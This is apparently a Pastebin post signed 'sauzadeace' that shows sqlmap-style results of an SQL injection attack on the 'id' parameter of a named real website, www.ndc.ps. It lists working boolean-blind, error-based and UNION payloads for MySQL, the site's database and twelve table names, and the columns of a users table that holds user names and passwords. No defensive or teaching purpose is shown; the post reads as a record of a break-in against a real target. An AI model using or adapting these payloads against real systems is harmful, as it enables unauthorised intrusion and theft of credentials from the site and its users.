sauzadeace

www.ndc.ps

May 31st, 2012
60
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.35 KB | None | 0 0
  1. Place: GET
  2. Parameter: id
  3. Type: boolean-based blind
  4. Title: AND boolean-based blind - WHERE or HAVING clause
  5. Payload: id=9 AND 6261=6261
  6.  
  7. Type: error-based
  8. Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
  9. Payload: id=9 AND (SELECT 4664 FROM(SELECT COUNT(*),CONCAT(CHAR(58,103,108,111,58),(SELECT (CASE WHEN (4664=4664) THEN 1 ELSE 0 END)),CHAR(58,104,115,100,58),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
  10.  
  11. Type: UNION query
  12. Title: MySQL UNION query (NULL) - 1 to 10 columns
  13. Payload: id=-7700 UNION ALL SELECT NULL, CONCAT(CHAR(58,103,108,111,58),IFNULL(CAST(CHAR(110,103,115,115,100,84,84,111,67,68) AS CHAR),CHAR(32)),CHAR(58,104,115,100,58)), NULL, NULL, NULL, NULL, NULL, NULL#
  14. ---
  15.  
  16. available databases [2]:
  17. [*] information_schema
  18. [*] ndcps_ndc
  19.  
  20. Database: ndcps_ndc
  21. [12 tables]
  22. +---------------+
  23. | ar_consulting |
  24. | ar_grants |
  25. | ar_jobs |
  26. | ar_news |
  27. | consulting |
  28. | grants |
  29. | jobs |
  30. | menu |
  31. | news |
  32. | pages |
  33. | staff |
  34. | users |
  35. +---------------+
  36.  
  37. Table: users
  38. [2 columns]
  39. +----------+-------------+
  40. | Column | Type |
  41. +----------+-------------+
  42. | password | varchar(25) |
  43. | user | varchar(25) |
  44. +----------+-------------+
  45.  
  46. sauzadeace
  47. PANJI HITAM DARI TIMUR
Add Comment
Please, Sign In to add comment